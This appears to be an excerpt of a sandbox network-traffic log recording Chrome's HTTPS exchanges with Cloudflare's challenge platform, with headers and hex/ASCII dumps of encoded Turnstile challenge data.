2024-04-16 19:39:51 UTC	12429	OUT	Data Raw: 34 41 55 6b 41 55 55 65 42 54 4e 6f 52 4a 52 4e 41 6b 2b 70 55 75 56 77 76 77 4b 55 6f 64 61 49 61 77 47 69 6c 44 59 41 77 55 69 54 37 54 4a 4b 41 45 41 6e 55 61 59 55 50 55 52 57 61 79 55 4a 55 52 59 52 41 55 41 4e 55 57 61 49 55 4d 41 56 59 55 66 6b 32 55 48 6b 55 31 55 71 55 61 6b 61 34 55 56 55 6d 48 61 4b 55 4d 39 45 31 55 74 41 76 31 30 59 61 69 41 50 41 52 66 77 4b 55 6d 59 44 6b 61 56 55 70 41 6d 59 55 48 55 6f 41 30 41 75 72 55 4b 41 44 76 52 47 55 64 41 75 57 55 39 41 43 41 48 34 55 4b 55 30 41 6d 34 52 45 47 4e 64 45 6b 61 45 41 53 39 67 47 52 5a 76 61 41 77 41 52 4f 55 6a 6b 73 50 61 77 47 6d 57 52 41 77 47 52 6d 41 44 55 77 59 55 72 55 36 41 61 57 52 44 44 75 74 55 4d 55 62 46 52 47 55 67 55 4b 55 4b 6b 77 31 55 78 55 30 43 55 41 55 41 41 6d Data Ascii: 4AUkAUUeBTNoRJRNAk+pUuVwvwKUodaIawGilDYAwUiT7TJKAEAnUaYUPURWayUJURYRAUANUWaIUMAVYUfk2UHkU1UqUaka4UVUmHaKUM9E1UtAv10YaiAPARfwKUmYDkaVUpAmYUHUoA0AurUKADvRGUdAuWU9ACAH4UKU0Am4REGNdEkaEAS9gGRZvaAwAROUjksPawGmWRAwGRmADUwYUrU6AaWRDDutUMUbFRGUgUKUKkw1UxU0CUAUAAm
2024-04-16 19:39:51 UTC	327	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:51 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: Uicfu/smNJt2JKbHkTbE9Uz9cOJMhDVZz4SwTpx+x3kftNt6H7/S5qGtZRjqGIPF$OOjwT2K+KrlLMJJ2AR2HvA== Server: cloudflare CF-RAY: 8756a4cfbe85674c-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:51 UTC	1042	IN	Data Raw: 35 38 31 63 0d 0a 5a 6b 6c 78 61 58 65 57 68 6e 4e 6d 63 34 5a 31 62 47 6d 56 61 33 43 56 66 61 47 45 6d 70 4f 6c 69 4a 2b 4a 6e 4a 65 69 62 49 61 4d 6b 70 2b 79 74 6f 32 30 6d 71 79 4f 64 5a 57 76 71 72 53 38 65 5a 47 6c 6d 5a 48 49 76 72 69 67 76 4d 61 32 75 35 66 4c 73 70 75 6f 68 73 66 50 75 4a 47 35 30 39 69 6d 7a 4d 36 71 73 4c 62 51 32 4b 36 75 78 73 58 6e 33 39 53 35 31 4c 58 63 79 37 44 65 75 73 6e 47 38 75 33 75 31 76 6a 73 74 76 48 38 39 65 66 49 73 39 4b 2b 34 73 33 78 35 39 48 36 77 2b 6f 4d 36 75 58 62 35 4d 66 67 42 42 44 66 33 38 37 6f 79 2b 38 4f 35 42 4c 76 48 77 4c 71 2b 65 2f 73 47 76 34 43 45 2b 4c 39 42 77 33 6e 2f 41 34 61 42 4f 37 77 4b 51 6f 72 47 43 67 6e 2b 6a 6b 49 50 52 73 4a 2b 68 41 30 46 6a 67 42 45 68 38 47 53 44 5a 4c 50 Data Ascii: 581cZklxaXeWhnNmc4Z1bGmVa3CVfaGEmpOliJ+JnJeibIaMkp+yto20mqyOdZWvqrS8eZGlmZHIvrigvMa2u5fLspuohsfPuJG509imzM6qsLbQ2K6uxsXn39S51LXcy7DeusnG8u3u1vjstvH89efIs9K+4s3x59H6w+oM6uXb5MfgBBDf387oy+8O5BLvHwLq+e/sGv4CE+L9Bw3n/A4aBO7wKQorGCgn+jkIPRsJ+hA0FjgBEh8GSDZLP
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 64 70 78 61 55 34 71 65 6f 4a 2b 54 6b 61 4b 6e 6d 59 4f 47 70 57 6d 71 69 4a 4b 41 6e 32 31 39 6b 33 53 7a 69 6e 57 6e 64 49 75 4b 6b 36 43 62 65 62 61 79 73 4a 53 55 6d 4b 65 58 69 36 71 74 69 4b 69 2f 71 36 47 51 76 39 47 71 6a 62 50 56 71 4b 6a 4a 70 71 2b 76 30 36 75 75 72 75 50 63 34 4f 48 63 34 4f 6a 71 78 61 50 59 35 4c 44 75 32 2b 53 71 38 75 44 4a 74 76 62 7a 75 4c 62 37 30 66 4f 36 74 37 38 45 2b 51 54 61 30 74 4d 49 33 51 44 39 43 74 2f 6d 45 75 62 50 45 38 37 4c 34 76 6a 6f 31 78 66 76 43 78 72 38 46 2f 34 66 47 41 49 42 33 68 48 6d 38 77 4d 57 2b 67 54 33 2b 68 76 77 4b 51 30 64 42 78 37 7a 4c 69 73 52 39 42 30 34 47 52 38 4a 4b 77 38 6a 45 66 35 42 4e 42 5a 4b 45 6a 77 6c 4f 69 4e 47 47 67 68 54 54 67 70 43 56 68 63 34 57 46 67 56 53 31 56 Data Ascii: dpxaU4qeoJ+TkaKnmYOGpWmqiJKAn219k3SzinWndIuKk6CbebaysJSUmKeXi6qtiKi/q6GQv9GqjbPVqKjJpq+v06uuruPc4OHc4OjqxaPY5LDu2+Sq8uDJtvbzuLb70fO6t78E+QTa0tMI3QD9Ct/mEubPE87L4vjo1xfvCxr8F/4fGAIB3hHm8wMW+gT3+hvwKQ0dBx7zLisR9B04GR8JKw8jEf5BNBZKEjwlOiNGGghTTgpCVhc4WFgVS1V
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 36 42 69 6a 34 6d 64 6f 4a 4f 5a 6e 47 68 70 68 48 31 36 71 49 32 70 63 33 61 53 61 36 61 37 64 4c 36 38 65 35 43 55 6e 72 47 62 68 4b 52 2f 77 73 72 49 68 37 33 4d 78 4d 36 2b 6f 74 44 4e 73 62 4b 70 7a 61 57 36 72 71 61 55 6e 61 65 73 30 39 43 7a 6f 63 47 79 76 4a 32 31 75 72 4c 44 75 74 58 47 77 39 44 71 79 63 6a 66 34 63 37 31 37 4d 58 35 39 73 75 30 79 4e 47 37 34 50 4c 64 34 74 62 47 41 77 66 78 42 51 45 4a 2f 74 2f 68 37 51 66 39 36 66 45 4a 35 68 54 34 44 75 67 4e 36 75 73 64 46 66 6b 42 46 75 50 35 47 2f 77 4a 2b 79 6a 32 46 67 6b 5a 41 67 63 71 49 67 44 79 45 79 4d 42 4d 2f 41 47 45 43 67 72 4b 7a 56 41 46 68 55 31 45 66 76 33 4a 68 34 44 4f 55 4e 46 49 78 6f 38 50 52 6b 67 43 55 42 4e 4b 55 46 47 44 7a 4d 76 4c 54 34 63 51 42 39 56 4c 55 45 79 Data Ascii: 6Bij4mdoJOZnGhphH16qI2pc3aSa6a7dL68e5CUnrGbhKR/wsrIh73MxM6+otDNsbKpzaW6rqaUnaes09CzocGyvJ21urLDutXGw9Dqycjf4c717MX59su0yNG74PLd4tbGAwfxBQEJ/t/h7Qf96fEJ5hT4DugN6usdFfkBFuP5G/wJ+yj2FgkZAgcqIgDyEyMBM/AGECgrKzVAFhU1Efv3Jh4DOUNFIxo8PRkgCUBNKUFGDzMvLT4cQB9VLUEy
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 64 31 62 59 57 6b 62 6d 4f 68 63 61 43 44 70 4b 43 52 6d 5a 65 74 6b 34 56 30 75 34 35 33 74 4b 2b 31 6d 63 47 44 77 35 53 6b 76 49 79 2b 72 36 36 75 6e 4d 62 50 69 71 61 68 6b 38 61 36 71 4a 50 4a 76 64 4f 6e 76 65 43 39 75 36 36 58 35 74 7a 47 33 62 79 7a 76 71 50 6e 76 4e 75 6f 76 4f 2f 4a 37 4b 33 69 79 75 72 61 74 75 76 64 39 4c 7a 31 33 65 44 67 7a 62 37 35 2f 41 62 67 44 4d 6b 47 39 67 51 51 78 67 62 74 32 2f 44 78 44 65 58 68 41 2b 72 6e 31 2f 37 51 45 68 48 36 48 76 77 5a 47 50 77 63 48 68 4d 4c 2b 67 77 73 4a 43 55 73 44 2b 72 76 36 69 34 46 38 7a 54 32 4f 67 63 4f 2b 52 6b 6f 50 68 48 38 4d 52 30 47 46 30 68 46 51 7a 4d 6a 50 45 6b 38 4f 79 63 2b 4b 30 70 45 4a 69 39 4f 52 69 73 31 4e 44 41 6f 4b 42 74 55 4c 43 73 67 4f 54 46 56 58 6a 77 37 51 Data Ascii: d1bYWkbmOhcaCDpKCRmZetk4V0u453tK+1mcGDw5SkvIy+r66unMbPiqahk8a6qJPJvdOnveC9u66X5tzG3byzvqPnvNuovO/J7K3iyuratuvd9Lz13eDgzb75/AbgDMkG9gQQxgbt2/DxDeXhA+rn1/7QEhH6HvwZGPwcHhML+gwsJCUsD+rv6i4F8zT2OgcO+RkoPhH8MR0GF0hFQzMjPEk8Oyc+K0pEJi9ORis1NDAoKBtULCsgOTFVXjw7Q
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 6f 6e 71 52 6e 68 33 65 57 64 5a 46 79 72 37 71 79 69 72 6d 54 66 35 4f 56 6a 61 54 49 6c 62 66 46 76 63 7a 4a 7a 5a 6e 43 6f 36 72 4b 6a 37 32 51 79 70 62 44 7a 39 4b 6c 7a 5a 69 64 31 62 71 59 77 4d 54 51 31 4e 48 61 74 4c 65 7a 6f 75 33 67 31 2b 48 4f 36 2b 33 30 36 63 37 49 79 75 48 54 39 63 7a 4c 37 65 33 5a 7a 2b 44 57 75 39 44 43 34 77 63 4a 30 76 30 46 36 41 48 36 38 65 77 46 44 2b 62 6c 38 4e 48 72 38 68 73 5a 47 2f 51 51 39 68 77 4d 38 53 48 74 2b 51 67 42 34 67 4d 61 43 65 51 73 42 69 41 61 2f 53 55 75 4c 4f 38 4a 43 2b 34 52 4d 44 41 63 4d 50 6f 51 4f 50 73 54 4e 6a 63 41 4e 54 34 38 49 6a 55 6d 53 69 70 4f 43 78 6f 6a 49 42 38 6f 4b 44 5a 4f 52 42 70 54 57 68 63 57 47 6b 67 79 53 69 73 39 59 56 4d 32 57 56 34 79 56 69 78 42 59 6b 6c 71 4f 30 Data Ascii: onqRnh3eWdZFyr7qyirmTf5OVjaTIlbfFvczJzZnCo6rKj72QypbDz9KlzZid1bqYwMTQ1NHatLezou3g1+HO6+306c7IyuHT9czL7e3Zz+DWu9DC4wcJ0v0F6AH68ewFD+bl8NHr8hsZG/QQ9hwM8SHt+QgB4gMaCeQsBiAa/SUuLO8JC+4RMDAcMPoQOPsTNjcANT48IjUmSipOCxojIB8oKDZORBpTWhcWGkgySis9YVM2WV4yVixBYklqO0
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 6c 70 65 71 70 4a 75 39 73 72 47 50 6a 71 53 31 6b 4a 53 62 73 61 53 44 70 4b 57 73 72 4a 69 38 73 70 76 46 76 4c 36 79 6c 39 4f 33 32 64 4c 4d 72 4c 69 77 32 37 2f 69 73 38 53 75 32 72 7a 51 78 4f 6e 65 78 38 32 36 72 74 2f 52 34 50 48 6b 78 65 57 76 32 4d 54 44 78 38 72 62 78 72 66 78 7a 37 71 37 39 75 4f 2f 32 4f 58 6e 34 75 7a 73 32 76 33 76 38 4f 6f 47 36 41 50 77 46 2b 54 33 35 4f 6a 76 42 76 77 53 45 77 2f 38 33 4e 38 4e 42 77 55 43 38 41 63 45 48 77 33 37 39 68 41 4a 2f 44 45 6d 43 42 4d 31 4c 79 6b 48 4b 54 73 35 47 78 73 41 49 53 44 37 46 43 34 6d 2f 51 67 78 4b 52 6f 49 4c 69 34 62 45 41 4d 77 52 7a 46 48 4a 44 52 43 4f 53 4e 61 54 6a 55 70 58 6a 41 32 50 32 4d 34 56 6a 46 6d 4e 45 59 30 51 32 64 4d 4f 47 4e 41 54 7a 31 42 4d 46 4a 52 4c 32 64 Data Ascii: lpeqpJu9srGPjqS1kJSbsaSDpKWsrJi8spvFvL6yl9O32dLMrLiw27/is8Su2rzQxOnex826rt/R4PHkxeWv2MTDx8rbxrfxz7q79uO/2OXn4uzs2v3v8OoG6APwF+T35OjvBvwSEw/83N8NBwUC8AcEHw379hAJ/DEmCBM1LykHKTs5GxsAISD7FC4m/QgxKRoILi4bEAMwRzFHJDRCOSNaTjUpXjA2P2M4VjFmNEY0Q2dMOGNATz1BMFJRL2d
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 5a 79 4d 77 4c 47 55 6b 63 53 35 6f 5a 4f 6a 67 71 4b 59 7a 5a 65 70 6e 4d 47 62 71 71 48 56 70 37 43 6f 73 70 61 79 71 4d 32 7a 76 4b 33 52 71 37 57 76 72 36 2f 54 74 4e 6e 44 76 62 72 48 78 38 65 37 79 38 50 4d 77 62 2b 75 30 4d 58 43 74 73 7a 49 2f 64 50 51 79 38 71 2b 37 39 44 30 77 74 6e 55 43 75 66 6b 31 2b 62 39 37 4f 44 72 35 2b 2f 68 46 64 4c 78 35 51 6e 61 39 65 72 6e 31 76 72 74 45 64 34 42 38 43 55 57 2b 50 58 79 36 68 6a 35 39 75 34 42 2f 67 77 45 45 51 49 6c 38 68 4d 46 4f 76 49 56 43 53 30 75 48 41 34 4c 4e 68 77 52 52 54 59 68 47 53 51 55 4b 42 67 59 4b 43 6b 63 4b 77 38 76 49 6a 41 6b 52 43 59 6a 53 69 34 71 58 6a 51 38 4c 69 77 77 51 54 49 77 48 30 41 32 4e 44 78 48 4f 6b 63 76 54 44 31 69 54 45 35 46 54 7a 64 57 52 30 52 51 54 55 74 49 Data Ascii: ZyMwLGUkcS5oZOjgqKYzZepnMGbqqHVp7CospayqM2zvK3Rq7Wvr6/TtNnDvbrHx8e7y8PMwb+u0MXCtszI/dPQy8q+79D0wtnUCufk1+b97ODr5+/hFdLx5Qna9ern1vrtEd4B8CUW+PXy6hj59u4B/gwEEQIl8hMFOvIVCS0uHA4LNhwRRTYhGSQUKBgYKCkcKw8vIjAkRCYjSi4qXjQ8LiwwQTIwH0A2NDxHOkcvTD1iTE5FTzdWR0RQTUtI
2024-04-16 19:39:51 UTC	1369	IN	Data Raw: 57 32 77 61 69 35 76 6f 75 63 70 35 65 68 6e 36 44 4f 6b 35 2f 55 30 61 75 6b 79 64 57 7a 71 72 65 58 6f 4b 79 76 6f 73 58 45 35 64 71 6f 75 4d 6e 70 7a 4c 7a 4b 32 75 54 65 38 66 48 4d 77 61 2f 31 32 4e 54 47 35 76 44 6f 38 76 33 55 37 74 75 37 76 64 44 57 31 2f 50 30 2b 41 76 34 32 2b 33 76 2b 39 30 53 41 77 37 30 42 67 76 52 36 50 50 6a 39 4f 76 73 47 77 33 76 41 67 51 51 38 43 59 41 43 66 67 4b 44 41 45 4e 4c 69 4d 65 41 42 44 79 46 68 55 32 4b 2f 49 4a 47 68 77 64 44 52 73 38 43 78 4c 38 4d 7a 34 30 4e 78 30 46 47 42 51 45 4e 53 39 45 45 45 73 67 48 41 77 6b 4e 30 77 59 55 79 67 6b 46 42 63 70 4c 68 74 4d 54 57 46 6a 55 54 52 47 55 6c 51 31 61 6c 74 6d 54 56 35 6a 4b 30 46 4d 50 45 74 45 52 58 4e 6c 53 46 70 6d 61 45 6c 39 50 32 46 52 59 6a 74 5a 5a Data Ascii: W2wai5voucp5ehn6DOk5/U0aukydWzqreXoKyvosXE5dqouMnpzLzK2uTe8fHMwa/12NTG5vDo8v3U7tu7vdDW1/P0+Av42+3v+90SAw70BgvR6PPj9OvsGw3vAgQQ8CYACfgKDAENLiMeABDyFhU2K/IJGhwdDRs8CxL8Mz40Nx0FGBQENS9EEEsgHAwkN0wYUygkFBcpLhtMTWFjUTRGUlQ1altmTV5jK0FMPEtERXNlSFpmaEl9P2FRYjtZZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:52 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:52 UTC	386	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:39:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ZHI0jX2clVM7PMzub68Glw==$8RNvf2LhqBZGQiHtBMzPJQ== Server: cloudflare CF-RAY: 8756a4d40ea3678a-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:52 UTC	12	IN	Data Raw: 37 0d 0a 69 6e 76 61 6c 69 64 0d 0a Data Ascii: 7invalid
2024-04-16 19:39:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49767	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:02 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31917 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 998145d1b266cd0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:02 UTC	16384	OUT	Data Raw: 76 5f 38 37 35 36 61 34 62 37 33 63 34 37 31 33 38 33 3d 30 57 59 41 46 77 52 31 76 77 57 6d 34 75 25 32 62 61 67 55 30 55 6d 41 68 74 74 55 32 55 36 6b 56 76 52 69 55 63 6b 52 34 52 61 55 5a 47 61 2b 35 6f 52 79 35 55 56 37 61 6b 77 73 70 74 34 63 49 52 6e 55 48 34 52 45 75 74 55 52 6f 55 35 47 2b 52 62 55 36 44 49 6c 6a 70 71 41 52 67 31 55 75 76 52 52 30 55 35 57 76 34 73 67 75 68 74 6f 48 35 41 61 31 55 5a 41 75 34 76 56 4e 41 77 49 55 42 41 52 30 30 4b 5a 77 55 55 73 70 55 30 76 41 55 56 6b 35 57 36 52 41 55 77 64 35 45 4f 61 41 52 6e 55 52 64 4e 78 61 59 50 30 74 55 77 47 35 45 36 61 77 34 70 6f 35 55 34 4c 6b 55 79 6b 77 55 42 75 35 55 52 6b 76 2b 55 24 24 38 75 24 70 37 55 24 4c 4b 39 48 48 6f 41 35 4d 48 72 76 75 6a 7a 76 5a 67 78 59 48 52 34 44 Data Ascii: v_8756a4b73c471383=0WYAFwR1vwWm4u%2bagU0UmAhttU2U6kVvRiUckR4RaUZGa+5oRy5UV7akwspt4cIRnUH4REutURoU5G+RbU6DIljpqARg1UuvRR0U5Wv4sguhtoH5Aa1UZAu4vVNAwIUBAR00KZwUUspU0vAUVk5W6RAUwd5EOaARnURdNxaYP0tUwG5E6aw4po5U4LkUykwUBu5URkv+U$$8u$p7U$LK9HHoA5MHrvujzvZgxYHR4D
2024-04-16 19:40:02 UTC	15533	OUT	Data Raw: 34 41 55 6b 41 55 55 65 42 54 4e 6f 52 4a 52 4e 41 6b 2b 70 55 75 56 77 76 77 4b 55 6f 64 61 49 61 77 47 69 6c 44 59 41 77 55 69 54 37 54 4a 4b 41 45 41 6e 55 61 59 55 50 55 52 57 61 79 55 4a 55 52 59 52 41 55 41 4e 55 57 61 49 55 4d 41 56 59 55 66 6b 32 55 48 6b 55 31 55 71 55 61 6b 61 34 55 56 55 6d 48 61 4b 55 4d 39 45 31 55 74 41 76 31 30 59 61 69 41 50 41 52 66 77 4b 55 6d 59 44 6b 61 56 55 70 41 6d 59 55 48 55 6f 41 30 41 75 72 55 4b 41 44 76 52 47 55 64 41 75 57 55 39 41 43 41 48 34 55 4b 55 30 41 6d 34 52 45 47 4e 64 45 6b 61 45 41 53 39 67 47 52 5a 76 61 41 77 41 52 4f 55 6a 6b 73 50 61 77 47 6d 57 52 41 77 47 52 6d 41 44 55 77 59 55 72 55 36 41 61 57 52 44 44 75 74 55 4d 55 62 46 52 47 55 67 55 4b 55 4b 6b 77 31 55 78 55 30 43 55 41 55 41 41 6d Data Ascii: 4AUkAUUeBTNoRJRNAk+pUuVwvwKUodaIawGilDYAwUiT7TJKAEAnUaYUPURWayUJURYRAUANUWaIUMAVYUfk2UHkU1UqUaka4UVUmHaKUM9E1UtAv10YaiAPARfwKUmYDkaVUpAmYUHUoA0AurUKADvRGUdAuWU9ACAH4UKU0Am4REGNdEkaEAS9gGRZvaAwAROUjksPawGmWRAwGRmADUwYUrU6AaWRDDutUMUbFRGUgUKUKkw1UxU0CUAUAAm
2024-04-16 19:40:02 UTC	1223	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: FelPNqUHWu35cNcV/mU8P22MpwcFQgf06hqdXwpOYxovzlJNwUfWIedfqBBm3CNId3Z5f+nJscej05IKbIES5wI0kpitIXr8+fvccScd5+OL9noCQyNwt8Z7kpLk6/k3$QpXFeon7C+q+s5TFsMIvbw== cf-chl-out-s: BSQoMgfd8bA+whbBWd3e4PuIT0VGjc2azSqglxoZzhY5zcxylb2a7Hqe1cSg4tcsbzj6mrSQHVStkoHwf0CmHedABjuKzH4fsWT4Bff8RAuAcvQgIPEKA2P6Piew/4GFqXpJUc2ojCLVEylCKqm1zlWJ3tljc7eS+9QxdG+rWA4XyWYMEfueuMbTyFnWrU2OGEGqvQv/BJBFbjx3qmOL/UYx+0Mw/ISdyVbmESBRRQ6Z+lWwrwaa60FuNHika/1Fcyc7JNXBwErsWiCH/7NbOB+jZKkqpaQfKQe8p4k0Zme+xKNuVzzJtEiDGPhghyKe+Y5mtn7ZrspWDmreBWhA7oDzVOvtJ9V+hKCf3ojo1vzF38l1zgxNu+PR0sXvS+8acO1L4X1yyFBIzoHu7G4MIRuRfY5WYrKNByvS4nq37SztXbKxMqjDsDNzdKMaCWQdkllbmN6mwSd/hzzBR1XIASIFE8b2skRuqOhfkdiGDkd31EpMfzTKY3M4WFgfpA8FapKog+gB6PP/KaCqe9Q/bcOoK1ufLwmBVyQiYwvvgDFSJfJfnYUK6lIr5SAHWtJava3ST4KvTnisUUlfOHiPfjgsUbBwHK8ozSvBdV7cDL1VpnXd3ja87Me65woPEsjKjDOXgYgSixPia3pEbC9RGByZ3k7lzB7o7dPbF1FJ3T0LggyuJzW+m2j3n6a+EIMSMS0qWZZustsap5aU0hSVLfMWyqmA4OevPngfkMN5eD3YPgCFEWFe33TXlxuGo7ezzdWCPZrCTYR5SHu7U9p0SA==$b2SSpo7elgmjLI9hV7acWA== Server: cloudflare CF-RAY: 8756a5122f386788-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:02 UTC	146	IN	Data Raw: 64 35 63 0d 0a 5a 6b 6c 78 61 58 65 57 68 6e 4e 6d 63 34 5a 31 62 47 6d 56 61 33 43 55 6c 33 71 46 63 36 4f 4a 69 57 4b 66 5a 35 64 75 6f 61 71 71 68 59 4b 30 73 59 69 78 6f 37 4f 6d 68 62 47 61 69 5a 43 31 6c 4d 4f 55 75 5a 71 69 70 4c 6d 65 76 4c 36 4e 6d 49 66 43 6e 59 79 38 6e 70 4c 54 6c 71 4b 4c 30 35 66 55 6b 39 53 2f 7a 75 47 74 32 4b 44 50 77 63 50 49 71 63 57 6a 71 37 57 71 77 73 61 77 37 73 66 47 74 65 33 66 77 4b 76 4c 32 Data Ascii: d5cZklxaXeWhnNmc4Z1bGmVa3CUl3qFc6OJiWKfZ5duoaqqhYK0sYixo7OmhbGaiZC1lMOUuZqipLmevL6NmIfCnYy8npLTlqKL05fUk9S/zuGt2KDPwcPIqcWjq7Wqwsaw7sfGte3fwKvL2
2024-04-16 19:40:02 UTC	1369	IN	Data Raw: 62 69 36 36 63 33 41 73 2f 48 52 32 2b 62 7a 31 64 77 45 33 2f 76 32 33 4f 59 42 79 38 72 71 33 66 51 4c 35 50 55 43 36 39 72 73 31 66 4d 54 46 78 55 67 45 2f 51 64 44 68 6a 33 45 66 6e 6c 49 53 4c 6e 41 41 51 43 48 7a 41 75 41 67 30 48 4a 43 63 7a 2b 67 77 30 39 68 58 31 2b 76 63 4d 46 42 63 6e 47 69 55 48 50 6b 77 63 43 6b 52 4a 49 30 45 6e 54 55 49 6b 43 42 56 58 45 6a 4d 52 56 78 4d 73 46 55 68 63 51 55 41 61 4a 47 5a 51 58 43 4e 6a 4e 7a 77 31 4f 45 52 78 55 43 73 39 56 45 73 2b 51 57 4e 46 54 32 52 4f 55 47 6c 30 54 32 39 39 68 45 35 36 63 6c 4a 45 68 56 4b 48 64 57 35 71 53 32 35 48 69 58 4e 6b 62 6c 39 67 6d 47 32 61 64 33 52 73 66 6e 42 70 57 35 56 72 6c 33 79 46 67 48 39 68 64 4b 74 35 6f 71 65 43 6d 49 74 6f 62 48 53 49 62 47 36 7a 64 70 47 55 Data Ascii: bi66c3As/HR2+bz1dwE3/v23OYBy8rq3fQL5PUC69rs1fMTFxUgE/QdDhj3EfnlISLnAAQCHzAuAg0HJCcz+gw09hX1+vcMFBcnGiUHPkwcCkRJI0EnTUIkCBVXEjMRVxMsFUhcQUAaJGZQXCNjNzw1OERxUCs9VEs+QWNFT2ROUGl0T299hE56clJEhVKHdW5qS25HiXNkbl9gmG2ad3RsfnBpW5Vrl3yFgH9hdKt5oqeCmItobHSIbG6zdpGU
2024-04-16 19:40:02 UTC	1369	IN	Data Raw: 32 2f 38 64 7a 35 78 2f 6e 79 41 67 62 69 41 41 45 47 2f 4f 30 48 35 52 45 4e 46 41 4d 56 43 39 59 46 45 52 4d 51 38 67 6b 42 45 68 37 61 45 42 66 6e 34 68 77 62 41 65 59 4d 48 75 6f 70 41 2b 6f 76 37 68 34 6e 38 6a 45 4e 38 79 63 71 4b 66 6f 67 51 69 44 37 4c 7a 49 34 4f 42 31 4a 48 41 4e 43 4f 53 49 49 53 77 73 36 44 42 51 39 4b 68 45 34 53 53 77 55 4d 6a 73 78 46 78 49 37 4d 78 74 66 5a 6b 38 67 58 6d 6b 35 49 32 68 4d 57 46 39 46 57 6d 56 6a 59 46 4e 4b 4d 55 68 71 57 6a 68 6f 53 31 6c 66 63 56 30 37 51 48 39 62 65 56 70 51 68 30 4a 38 5a 34 71 48 54 31 74 44 54 34 31 64 55 57 78 51 54 32 4f 47 68 35 4f 56 68 6e 5a 63 6b 6e 35 75 6a 35 64 75 5a 6e 43 44 6d 4a 64 69 6e 47 32 6f 67 34 4e 36 61 61 42 30 73 4b 4b 7a 73 37 69 32 63 6d 2b 77 6a 33 69 33 66 Data Ascii: 2/8dz5x/nyAgbiAAEG/O0H5RENFAMVC9YFERMQ8gkBEh7aEBfn4hwbAeYMHuopA+ov7h4n8jEN8ycqKfogQiD7LzI4OB1JHANCOSIISws6DBQ9KhE4SSwUMjsxFxI7MxtfZk8gXmk5I2hMWF9FWmVjYFNKMUhqWjhoS1lfcV07QH9beVpQh0J8Z4qHT1tDT41dUWxQT2OGh5OVhnZckn5uj5duZnCDmJdinG2og4N6aaB0sKKzs7i2cm+wj3i3f
2024-04-16 19:40:02 UTC	543	IN	Data Raw: 6d 32 74 58 2b 78 4f 37 59 36 4f 72 6a 33 39 30 43 37 52 63 45 35 50 48 7a 47 39 50 6f 49 50 67 61 37 2f 33 31 47 66 41 44 46 77 6a 2b 4b 2f 51 6a 2f 53 41 66 4d 41 77 4e 49 77 30 57 4e 2f 50 76 47 78 67 52 47 67 38 4b 4e 7a 59 69 2f 42 6b 47 47 7a 77 68 43 68 59 46 49 53 6b 63 4b 42 46 44 4a 55 4e 45 52 69 6c 4d 4e 54 55 6c 58 52 31 4d 4c 32 42 66 56 7a 68 55 4f 52 34 35 57 6b 46 63 52 6a 5a 47 58 30 38 37 54 53 31 41 63 6d 64 53 51 48 68 4e 65 45 39 74 4f 57 78 4e 54 57 4a 4d 57 45 78 46 55 31 68 52 5a 6c 35 71 69 31 5a 36 62 49 39 6d 66 6e 52 74 62 57 39 6a 6a 48 61 47 65 33 56 6c 64 32 74 75 63 70 53 43 6c 34 56 39 69 49 5a 36 6e 49 69 71 62 5a 74 37 6a 6f 32 4f 66 6d 32 43 6f 70 65 57 67 71 32 47 64 48 69 5a 69 35 36 57 6f 49 2b 53 6e 71 57 54 76 4b Data Ascii: 